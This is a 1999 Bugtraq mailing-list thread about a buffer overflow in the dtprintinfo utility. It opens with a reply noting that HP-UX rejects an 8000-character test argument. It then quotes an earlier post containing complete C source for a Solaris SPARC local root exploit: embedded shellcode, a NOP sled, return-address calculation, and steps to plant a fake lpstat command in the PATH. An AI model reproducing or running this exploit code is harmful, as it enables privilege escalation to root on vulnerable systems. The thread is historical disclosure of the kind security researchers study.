Re: [Solaris2.6,2.7 dtprintinfo exploits]

[Thiago.M.M.Zaninotti () UNILEVER COM (Thiago MM Zaninotti)]

Hi,

dtprintinfo in HPUX does not seen to be vulnerable to the overflow problem:

% /usr/dt/bin/dtprintinfo -p `perl -e "print 'A' x 8000"`
Pathname too long.
%


Thiago Zaninotti
IMC LABG

-----Original Message-----
From:   UNYUN@ShadowPenguin [SMTP:yuuzy () usa net]
Sent:   Monday, May 10, 1999 1:16 AM
To:     BUGTRAQ () netspace org
Subject:        Re: [Solaris2.6,2.7 dtprintinfo exploits]

Sorry, I forgot to to write the following things...

Before execution of dtprintinfo exploit, please make a dummy
lpstat command.

for example,

% cat > lpstat
echo "system for lpprn: server.com"
^D
% chmod 755 lpstat
% setenv PATH .:$PATH
% gcc ex_dtprintinfo.c
% a.out


Following exploit program is for Sparc Solaris.
I tested on Solaris2.6.

/*========================================================================
   ex_dtprintinfo.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th () usa net)
 =========================================================================
*/
#define ADJUST      0
#define OFFSET      1144
#define STARTADR    724
#define BUFSIZE     900
#define NOP 0xa61cc013
static char   x[1000];
unsigned long ret_adr;
int i;
char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
main()
{
    putenv("LANG=");
    for (i = 0; i < ADJUST; i++) x[i]=0x11;
    for (i = ADJUST; i < 900; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST; i < 600 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    x[BUFSIZE]=0;
    execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}


The Shadow Penguin Security
(http://base.oc.to/skyscraper/byte/551)
UNYUN (unewn4th () usa net)


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